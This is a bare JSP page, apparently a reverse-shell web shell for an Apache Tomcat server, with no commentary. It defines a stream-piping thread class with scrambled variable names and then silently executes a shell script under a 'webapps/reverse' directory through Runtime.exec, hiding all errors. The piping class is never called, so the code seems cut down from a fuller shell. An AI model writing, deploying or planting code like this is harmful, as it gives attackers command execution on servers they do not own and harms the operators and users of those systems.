<%@page import="java.lang.*"%> <%@page import="java.util.*"%> <%@page import="java.io.*"%> <%@page import="java.net.*"%> <% class StreamConnector extends Thread { InputStream wv; OutputStream ne; StreamConnector( InputStream wv, OutputStream ne ) { this.wv = wv; this.ne = ne; } public void run() { BufferedReader qn = null; BufferedWriter agw = null; try { qn = new BufferedReader( new InputStreamReader( this.wv ) ); agw = new BufferedWriter( new OutputStreamWriter( this.ne ) ); char buffer[] = new char[8192]; int length; while( ( length = qn.read( buffer, 0, buffer.length ) ) > 0 ) { agw.write( buffer, 0, length ); agw.flush(); } } catch( Exception e ){} try { if( qn != null ) qn.close(); if( agw != null ) agw.close(); } catch( Exception e ){} } } try { String ShellPath = new String(); ShellPath = "/bin/bash /usr/share/tomcat/webapps/reverse/shell.sh"; Process process = Runtime.getRuntime().exec( ShellPath ); } catch( Exception e ) {} %>